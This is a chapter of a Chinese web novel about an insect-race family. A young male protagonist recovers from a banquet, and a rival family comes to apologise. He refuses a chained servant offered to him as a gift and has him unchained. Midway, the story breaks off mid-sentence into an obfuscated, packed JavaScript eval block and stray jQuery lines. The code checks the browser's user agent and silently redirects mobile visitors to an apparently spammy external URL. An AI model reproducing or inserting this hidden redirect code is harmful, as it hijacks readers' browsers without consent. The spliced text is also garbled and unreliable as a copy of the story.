边境星狄海诺星系,第七战线备战基地。
“滴,比维奇少将发来语音留讯,是否需要播放?”
“嗯”
“戈尔,戈尔,快看我发给你的视频!有雄虫敲雷鼓,你听听那声音是不是似曾相识!!”
雷鼓……
抬头,原本正专心地拿着绝缘布擦拭着手里镭射枪的雌虫,微卷的黑色长睫缓缓抬起。
视线顺着声音望向被随意丢在舱板上的通讯仪,雌虫海蓝色的瞳孔深邃如汪洋,但……沉眸。
没有说话,也没有让自己的人工智能播放比维奇发来的视频。
垂头,雌虫重新继续着手里擦拭的动作。抱着镭射枪,明明手掌骨节上满是细茧,但雌虫擦拭的动作却无比仔细。
只可惜眼见他没回复自己,大概猜到了原因的比维奇却是急吼吼地再次发来了一条语音留讯。遵循着刚才雌虫发出的指令,没接到更改指令的人工智能继续播放了新的留讯。
“不是有雄虫在玩雷鼓,是有雄虫真的用精神力敲了雷鼓!这个新殿下顺便还怼了那些搞出雷鼓游戏的雄虫,总之你一定要看啊!不看你他雌的绝对后悔我跟你说!”
……
沉默
雌虫擦拭枪管的动作还在继续,但却越来越慢,越来越慢,然后——
抬起头,将被擦拭得差不多的镭射枪放置在武器架上,耳边的蓝发不小心擦过了旁边锋利的长刀,一缕发丝切断掉落。没有在意,雌虫退后两步,到底还是按下了播放键。
军用的通讯仪,不管是全息真实度还是清晰度都是最顶级的标准。
画面从通讯仪上方弹开,裸眼3D般效果的视频,一经播放就仿佛让虫身临其境。
没有抬头,握着鼓棒的银发雄虫半垂着头敲完了整场,但此刻似乎也没有虫会第一时间关注他的长相。
明明只是视频,明明没有现场那么真实的精神力引起的震撼,但是……
安静的主战舱室里,从来对枪械战舰以外的东西不感兴趣的雌虫,此刻难得耐心地看完了整场视频。
没有走开,没有说话,甚至都没有眨一次眼。
仿佛视频里面的雄虫是自己战场猎域范围内的小兽,蓝色的瞳孔仿若海波将其包围,视线漫过因为被雄虫击打而发出一阵颤栗抖动的鼓面,雌虫无声地沉下了瞳色。
这首鼓谱,很陌生,但也有些熟悉。
曾经就在这片星域,也曾有过一个雄虫敲打出这样的重鼓声。
没有太多花样,没有太多停顿,曾经的那位殿下,也是这样垂着头,用力而专注地握紧自己手里的鼓棒。
后来……
后来
“不给我鼓个掌吗?”
视频……播到最后了
沉下的眸重新聚焦回全息画面,两眼对视,雌虫沉默地握紧了拳。
但仿佛不在意他的冷淡,视频里的年轻雄虫被汗湿的银发微微扬起,紫色的瞳孔里面带着满是挑衅意味的张扬笑意。
抬起手里的鼓棒,他就这样自信而张狂地看着对面。
视频画面,在这一刻有些发抖。
但……似乎也不止是拍摄视频的虫手抖。
没有持续太久,仿佛是怕对面望过来的雄虫发现,录像很快截止,视频也全部播放结束。
没有说话
没有垂头
就这样望着视频最后定格的画面,没虫知道此刻的雌虫在想什么。
通讯仪蓝光闪了闪,察觉到播放完毕的人工智能冷静地发出询问。
“视频播放已结束,是否重播?”
“倒计时十秒,无应答则自动重复播放,十,九,八……二,一。收到,即将为您再次重复播放。”
鼓声,再次响了起来。
今夜,大概有无数虫都在听这首陌生的鼓谱。虽然有些视频没有拍摄到雄虫说鼓谱名字的片段,但这也不难打听。
“将军令?”
“倒真是贴切,跟昼沙你的风格就很像,斐洛多半是想着你才取的这个名字。”
转头看向雌虫,伊伽珐脸上满是笃定的猜测。
但似乎并不在意这一点,老将军垂眸看向医疗舱内的孩子,低声问道。
“今天这样突然使用精神力的情况确定不会影响斐洛的身体?我看他手臂上的肌肉还是会突然抽搐。”
“昼沙将军不用太担心,雄虫殿下和我们雌虫的精神海域本质构成就不同,他们除非精神力使用过度导致枯竭,否则一般不会对身体有影响。”
“至于殿下的手臂,雷鼓的鼓棒到底是B级星兽兽骨制成。殿下身体体质又虚弱,他使用鼓棒过后肌肉短时间内抽动疼痛是难免的,等泡完营养液这种情况就会消失了。”
躬了躬身,宴会结束后就被图拉斯家紧急叫来的古德医生,大概检查完已经醉晕过去的雄虫身体后,就把整个虫直接泡到了医疗舱内。
虽然前半段斐洛只是打了鼓,按理来说只是多耗费了些体力。但后面醉酒过后,第一次调动精神力,甚至还是自己的全部精神力的雄虫,如果不加治疗恐怕等酒精代谢完醒过来后,不止身体会痛,头也会跟着痛了。
原本还在高兴今天斐洛特别撑场面的伊伽珐,听完古德医生的话,再想到这里,脸上几乎是立刻阴沉下来。
“斯律安那小王八蛋,看来是杜达菲脾气太好让他不知道什么虫该惹,什么虫不该惹了!刚才要不是斐洛,我非把他脖子后面的图纹都给他剥下来!”
“塔西索呢?现在就去给我把球械导弹装填到我的私虫舰上,今晚上不出了这口恶气我就不是伊伽珐!”
说完,这次没再给其他虫劝解的机会,雄虫满脸压抑不住怒色地朝后院舰船装备库走去。
垂眸,守在医疗舱附近的众虫安静得仿佛没听见刚才的话。星桦和千桦更是神色平静,倒是难得不对发怒的雄父感到紧张。
但是……
抬了抬眸,看了眼已经走远的伊伽珐,又转头看了眼立在原地没动的昼沙,同样是斯律安主治医生的老雌虫,还是忍不住低声道。
“将军,杜达菲殿下回去后肯定会好好训诫斯律安殿下,今天斐洛殿下也只是有些累了,两家虫之间不至于有太大矛盾,您不如……劝劝伊伽珐殿下?”
虽说这次的事情是斯律安殿下先挑起的,但斐洛殿下到底没出什么事。可如果真让伊伽珐拿球械导弹轰炸了祁蒙图家,虽说这种弹药只是雄管会批准的不致命警示性弹药,可那样事情只怕就会闹大了……
“您放心,殿下不会去的。”
不会?
苍老的瞳孔望向面前神色严肃的军团长,古德医生难得怀疑对方是在跟自己开玩笑。
伊伽珐也算是他看着长大的,他那脾气,还有什么不会做的?到时候别炮弹轰了不过瘾,干脆还自己亲自下场动起手来。
想到这个场面,再想想刚才伊伽珐泄愤说要剥斯律安图纹的话,老医生忧心地无声叹了口气,正打算再劝劝,可是——
“杜达菲殿下亲自来电,伊伽珐殿下已经叫停了导弹装载。”图拉斯私虫护卫队,因伤或自愿留守首都星的将士组成。
低垂着头,曾经跟随昼沙的副官低声汇报,顺便也解决了古德的忧心。
颔了颔首,想想那位殿下以及他的雌君诺曼议长的性子,老雌虫眉峰舒展,终于明白了昼沙刚才话里的意思。
“这样就再好不过了。”
笑着说完,没再继续操心其他虫的事情,今天需要彻夜守在斐洛身旁的老医生,再度躬下身查看医疗舱内检测的实时数据了。
而随着他的专注,其他虫也都跟着把视线聚焦在了睡在医疗舱内的虫身上。
热闹而充满意外的一天,最终在斐洛安静的睡眠中还算平静地过去。
宴会第二日
首都星,图拉斯家大宅,天气晴,气氛……很好。
“头痛?没觉得”
摇了摇脖子,刚刚送走古德医生的斐洛,精神很好地笑着回答伊伽珐的关心。
虽然这已经不是他第一次体验虫族医疗舱这个高科技产品,但这东西连喝醉了第二天头痛的生理反应都能治,还真是牛逼。
说完,没再给众人担心的机会,从醒来后就被古德医生和伊伽珐等虫关心了个遍的斐洛,是真觉得没什么。
不过是多喝了两杯,另外打了个鼓而已。真要是因为这样就觉得受不住,要面子爱耍酷的男大学生那才感觉丢脸。
一回生二回熟的斐洛,这次胳膊一伸就把最难缠的伊伽珐推到了餐桌上坐下。
从在医疗舱醒来后就各种被检查的斐洛,今天早饭可还没吃,当然,其他虫也没吃。
要知道以前他也看过几本星际小说,最开始知道自己穿到虫族的时候,他还担心了一下以后的伙食问题。就怕跟有些小说里面写得一样,这里的虫不是吃各种节肢动物就是啃能源石,灌营养液。
但事实上,虫族也不傻,口腹之欲也是追求的。
熬得软糯弹压的禾米粥,蒸得晶莹剔透的水晶面片,几万星币一小盒的霹雳果汁,树果星球特供的雄虫最爱的果粉蒸糕,几十年老虫牌的琼林肉卷……
拿起刻着自己名字的银质刀叉,本就因为昨天体力消耗过多早就饿了的雄虫,吃得十分投入和满意。
而不知道是不是他吃得太香,看着他脸上的表情,连向来最挑剔的伊伽珐都感觉好像今天的早饭做得……是比以前好了点?
咬了口满是水果香味的蒸糕,看着斐洛一口一个糕点的模样,伊伽珐忍不住也多吃了两个。
但眼见斐洛连续吃了两盘果粉蒸糕还没有想停的意思后,伊伽珐又忍不住心疼起来。
“慢点吃,别噎着。”
吃得这么香,虽然他家厨师的手艺是不错,但伊伽珐还是忍不住多想道。
“都怪当初昼沙把你弄丢了,不然你身体现在也不至于那么虚。这些东西都是雄虫从小吃到大的,你现在喜欢吃,多半也是因为以前没吃……”
从不会内耗的雄虫,虽然是心疼加有些愧疚,但还是非常自信地把锅稳稳丢在了其他虫背上。
对此,屋内的众虫自然是早已习惯,连负责背锅的本虫昼沙将军都没有一句反驳。
但正拿着银叉往嘴里送肉卷的斐洛手里的动作顿了顿,眼见伊伽珐再说下去就又要开始无差别骂虫的时候,连忙插嘴道。
“不是,主要还是今天的早饭真得不错。而且昨天宴会上闹那一场我也是有点累,跟我以前过得苦不苦没关系,真的。”
说完,仿佛是怕伊伽珐反驳,斐洛顺手把盘子里最后一块果粉蒸糕移到了对方餐碟里。
看着碗里的糕点,第一次被自家雄子投喂的伊伽珐还是高高兴兴地吃了,刚才酝酿的情绪也因为这一打断而无声地消弭。
但想到斐洛提到的昨天的宴会,从昨晚到现在始终有一个疑惑的雄虫,此刻终于想起来问道。
“对了,斐洛。你不是说你记不得以前的事情了吗?那你怎么还会打雷鼓。”
退一万步说,就算是斐洛记得,那荒星上别说雷鼓了,能有个鼓都算不错。
这个问题……抬头,原本沉默的众虫都望了过来。
手指搭在银叉上,酒精已经在医疗舱内全部代谢掉的雄虫,此刻头脑清醒,不见一丝慌乱地给出了早就准备好的答案。
“哦,我也不知道。”
他一个失忆的虫,你们在指望什么?
没有答案的,给不出答案一丁点,问就是摆烂。
……
这个回答,倒也不算出乎众虫预料。
只不过很明显,得不到答案的问题,越能引起人的好奇心,虫也不例外。伊伽珐此刻就忍不住皱起了眉,沉下声音道。
“会不会是当初有其他虫捡到了你?看你是雄虫不想把你还回来就自己偷偷养着,你会打鼓也是他教的。然后不知道出了什么意外,比如星盗劫持,飞船爆炸,最后你就意外一个虫流浪到了荒星?”
这个猜测……倒也难得还算符合逻辑。
沉眉,餐桌上的两只年轻雌虫此刻眼神沉了沉,无疑也是顺着雄父的话想到了整件事情可能的真相。如果真是这样的话,那只捡到斐洛的雌虫……可真是该死!
“联盟前不久已经开始在目前所有有记录的荒星内开始排查,虽然没有找到类似斐洛这样的雄虫,但却破获了多起拐卖行凶的违法事件。”
“目前这项清网行动还会长期坚持下去,另外我已经让雄管会以雄虫保护法的条例提请联盟,让该项行动成为边境星驻扎部队每年一次的常规任务。如果当年真的有虫私自藏匿斐洛,相信总有一天会抓到对方。”
声音沉稳肃穆,在图拉斯大宅内的两个雄虫面前总是温和的昼沙,此刻似乎终于让虫意识到了他还是目前联盟几大军团的最高长官之一。
弯起唇,听到这话的年轻雄虫脸上扬起了一抹笑意。
虽然不知道原主当初到底是怎么流浪到的荒星,但现在这样,也算为他报仇和积德了。
意外得到这则消息的众虫,此刻无疑心情从原本对斐洛丢失的愤恨,转变成了解气的愉悦。
而心情既然好了,虽然不明白斐洛是怎么会的雷鼓,但伊伽珐却已经开始忍不住跟斐洛分享起了他昨天敲完雷鼓醉倒后的事情。
“你把斯律安给打了!他头发你都拽掉了好几根,你还想抠他眼珠子,干得好!不愧是我的雄子!”
“你的精神力昨天也让那帮雌虫惊呆了,好几个走之前都想加你联系方式,我帮你全拒了!免得天天烦你。不过有几个的确长得还不错,你要是喜欢的话,回头你再加回来。”
“还有蒂谷那只虫,斐洛,你可是帮你雄父我出了口恶气!以前他还敢在我面前得瑟,这次宴会结束他招呼都没敢跟我打就跑了,哈哈哈哈哈……”
嚣张而痛快的笑声从雄虫嘴里传出来,从听到自己打了人,不对,打了虫之后就愣了一下的斐洛,此刻看着笑得张狂的伊伽珐,欲言又止。
这笑声,可真不像是个好人,不过他自己也打了虫,呃……好像也不比伊伽珐好到哪儿去。
“咳咳,那个叫斯律安的雄虫没事吧?我力气不小,没把他打出毛病吧?”话说,听伊伽珐嘴里的描述也有点别扭。
什么叫他拽人头发,还抠对方眼睛?
这不姑娘才这么打架吗?!他要是真毛了不应该是重拳出击,帅气凌厉地飞踹吗?难不成他喝醉了架都不会打了?
艹,以前在地球上他怎么没这毛病!不会是这星际有毒吧!
“那小子贼着了,看形势不对早溜了。对了,本来昨晚上我还打算帮你报仇用球械导弹把他炸飞的,但杜达菲那家伙道歉道得快,说是今天要亲自上门来赔礼道歉,我就先没急着动手了。”
……
什么玩意儿?
球鞋……导弹?啥正经导弹叫这不正经的名儿?
而且是说的他老家严厉禁止私人偷藏偷用的枪支弹药的导弹吧?不是,你们星际的虫玩得这么大?
“不致命的,真打出去也最多烟雾多一点,私底下我们也叫烟雾弹。”
事实上,这也是专门让雄虫遇到危险时释放的导弹,也是唯一在非边境星军队手里可以使用的雄虫专供导弹。
一旦使用,巨大显眼的烟雾会立刻让周围收到信号的雌虫赶去方便保护受威胁的雄虫。所以虽然这东西确实能把没战斗力的雄虫炸飞,但除了狼狈点也没其他太大的问题。
小声地说完,跟第一天被斐洛按坐在身旁的那样,今天依旧坐在他旁边的千桦仿佛知道斐洛在疑惑什么,倒是难得主动地帮忙解答了他的疑惑。
感激地投给了旁边的小弟一个眼神,斐洛这才重新看向伊伽珐。
“杜达菲先生今天要过来?”
“对”点了点头,伊伽珐说完看了看时间,估摸道:“应该快到了吧,今天我们吃饭吃得有点晚,这会儿差不多是昨天他说要来的时间了。”
话落,仿佛是配合伊伽珐的话。
屋外,衣衫精致的侍虫安静地走进大厅,表示有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427223|168751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
客来访。
这……还真是来得刚刚好。
“斐洛殿下,日安。”
熟悉的面孔,熟悉的黑发黑眼。
相比于昨日的精致礼服,今日换上常服的雌虫虽然少了几分矜贵,但却也更显随和亲近。
颔了颔首,同样在知道有客来访后上楼重新换了件衣服的斐洛,浅蓝色的衬衫,随意挽起的衣袖,看着倒是十分符合此刻明朗的晨光天色。
弯唇,雌虫脸上笑意更加温和。
没有耽搁,没有拿捏姿态。
从进屋后就态度堪称难得放得有些低的杜达菲及诺曼,率先向斐洛,伊伽珐和昼沙致歉。
相比伊伽珐年龄要大些的杜达菲,早些年因为致力于全力使用精神力给雌虫做安抚工作,精神力枯竭得比一般雄虫要快,此刻看着也要老很多。
但即使是这样,这位如今堪称德高望重的殿下,依旧为了自己的雄子及雌子的未来向图拉斯家致歉。
而作为斯律安的同胞哥哥,同样是今日登门主要代斯律安致歉人物的尚陵,更是诚恳地躬首行礼,认真地表示了歉意并祈求谅解。
扬了扬下颌,即使是面对比自己年长,如今还在雄管会担任主要负责人的杜达菲,伊伽珐脸上的傲慢也依旧没比面对其他虫少多少。
或者说,如果昨天的事以前,他还会象征性地给对方一个好脸色。那现在,记仇的伊伽珐表示,他可没那么好应付。
瞥了瞥唇,雄虫嘴里早就蓄积的毒液即将开始喷洒,但是——
“杜达菲叔叔,诺曼叔叔,这次的事情是我们小辈间的矛盾,不用你们替他道歉。”
嘴里的钢牙都要露出来的伊伽珐,却不防自己旁边站着朵伟光正的向日葵。
没注意到自家雄父抽了抽的嘴角,饶是昨天很想抽那位莫名其妙找自己茬的雄虫一顿,但知道自己真把人揍了一顿过后的斐洛,此刻是真没记仇。
一般而言,有仇他当场就报了。更何况只是一点小口脚,这拖家带口大早上一起过来道歉的,他怎么看着怎么有点别扭。
正所谓一人犯罪一人当,都现代文明社会了,没道理还搞株连九族那套的……
眼瞅对面的那位尚陵先生还九十度弯腰行礼,嘴角跟此刻的伊伽珐一样抽了抽,雄虫下意识伸手把虫扶了起来。
纤细如竹节的手指握住雌虫只穿着件单衣的手臂,薄薄的衣衫隔不开体温。雄虫掌心温温的热度一触而过,站直身,雌虫的手有些轻微地颤抖。
抬眸,目光落在满脸微笑的斐洛脸上,从来擅于和虫打交道的尚陵,此刻难得安静了片刻。
但没虫注意到这位长袖善舞的检察官短暂的异常,眼见斐洛已经定下了这次双方对话的基调,哪怕还想再趁这个机会给杜达菲这个自己曾经非常嫉妒的虫一些难堪的伊伽珐,终究撇了撇嘴,不冷不淡地让几虫先坐下了。
昂贵但受欢迎的石花汁,精致的早茶点心,虽然刚才想给杜达菲难堪,但既然都坐下来谈了,伊伽珐还是让虫备上了招待的东西。
事实上,昨天通讯里就已经发泄过一遍的伊伽珐,此刻谈不上多生气。毕竟祁蒙图家族已经割让了圣达菲星系北边所有产业的五成利益,这么大的手笔,饶是伊伽珐也不得不有些动容。
但即使是这样,在尚陵的搀扶下落座在待客厅沙发上的杜达菲,还是忍不住喜爱地望向斐洛。
伊伽珐的脾气,向来是得理不饶人。即使有足够的利益,但不让他把心里的气发出来,他也从不会就这样干脆罢休。
今天如果不是斐洛,恐怕伊伽珐可没这么容易把昨天的事情揭过去。想到这里,偏过头,看了眼同样在注视着斐洛的自家雌虫,杜达菲笑着握了握诺曼的手。
“对了,为了更好地表达我们的歉意,这次我们专门带了个虫过来,尚陵。”
欠身,重新恢复了翩翩姿态的雌虫,礼貌地询问是否介意他领一只现在被锁住双手的虫进入待客室。
见他这么认真,来了些兴趣的伊伽珐点点头,倒是没意见。不过坐在他旁边的星桦千桦两兄弟对视一眼,大概猜到了即将进来的虫的身份。
而事实上,随着轻轻晃动的银链声,在场记忆力不错的众虫几乎是立刻认出来了来虫。
歌帝,斯律安的雌侍,昨天雷鼓游戏的击鼓虫,据说是位音乐天才,但……
现在,这位天才原本昨天还能敲出美妙鼓音的双手,此刻却是被一根粗硬的银链条牢牢地锁了起来,指尖甚至隐约可见淤痕。
脚步沉稳,匀速。
跟在尚陵身后进来的雌虫,神色平静地走进待客厅,然后——
“这只雌虫目前已经被斯律安解除了雌侍的身份,为了表示歉意,斯律安愿意将他送给斐洛殿下,还希望殿下可以原谅他昨天的无心之失。”
无心之失……
如果那只雄虫是无心之失,那这只雌虫是什么,有心吗?
微笑颔首,截止到此刻才终于露出点笑意的伊伽珐,满意地看了眼尚陵,明显对于这个昨天通讯内容商定以外的赔礼非常满意。
斯律安当然可恶,但这只雌虫无疑也是帮着踩了斐洛的面子。斯律安是雄虫,哪怕伊伽珐再生气也不可能真得把他怎么样,那有一只雌虫用来发泄无疑再好不过了。
“斐洛,既然这样,你就收下这只虫吧。”
没有多看跪在地毯上的雌虫,傲慢的雄虫弯了弯唇,轻笑着劝自己的孩子收下这份再合适不过的礼物。
没有虫觉得奇怪,事实上,可能连双手被锁住的雌虫自己都不觉得奇怪。
但是——
“他犯法了吗?”
没有回应伊伽珐的话,同样没有回应尚陵依旧礼貌的致歉。
从祁蒙图家的三虫进来后就始终礼貌微笑的雄虫,神色不知道什么时候冷了下来。抬眸,安静地望向众虫,雄虫反问了一句谁也没有预料到的话。
沉默
奇怪的沉默
站在跪下雌虫前方的尚陵,对视上那双比起昨日的恼怒,如今更是锐利冷淡的紫色瞳孔。习惯弯起的唇放平了些,视线相对,雌虫给出了答案。
“当然没有”
敲了次鼓而已,鼓声甚至被隔音材料良好的宴会厅限制在一厅之内。没有扰民,没有精神力暴动,自然……没有犯法。
“但是,殿下”
长睫仿佛要刺入雄虫瞳孔,从见面后始终礼仪周全的雌虫,声音依旧和煦平稳,但此刻看向雄虫的眼神里却仿佛藏在暗处角落里的蜘蛛,只等着面前的人落入那张缀满毒膏的细网。
“他让你不高兴了”
所以,即使他只是听从雌虫的吩咐,即使他并不是出于本心。但,你不高兴,难道不想找个发泄的对象?没有虫会因此责怪你,甚至这只雌虫还会主动跪在你的面前,乞求你的宽恕。
雄虫,不都喜欢这样去驯服让自己不满的生物?这样的事,做一次就很容易学会了。
但可惜
终归不是每一个被选中的猎物,都会选择走一条同样的路。
“既然没有犯法,检察官先生,你觉得私自将他绑起来的行为合适吗?”
站起身,走到跪下雌虫的侧方,仰头看着面前这位笑容和善的大兄弟,斐洛沉下了眸色。
果然
老话没有说错,太过完美的人不是假人,就是政.客。
“先生”
“这位鼓手我很喜欢”
“所以,麻烦您帮他解开链子。”
……
没有理会织就得漂亮繁复的蛛网,站在陷阱前,看着那躲在阴影里面的黑蜘蛛,被诱捕的虫子反而张开了自己的钢牙。
指尖再度颤抖了两下,这一次,似乎比上一次抖得还要厉害。
掌心收拢,指腹揉搓着腕上那条黑色手链上被系紧的透明钻石,雌虫落在眼前虫脸上的视线粘腻,湿沉。
终于
手臂不再发抖的雌虫,手掌握拳置于心脏上方,认真而无奈地垂下头。
“遵命,我的殿下。”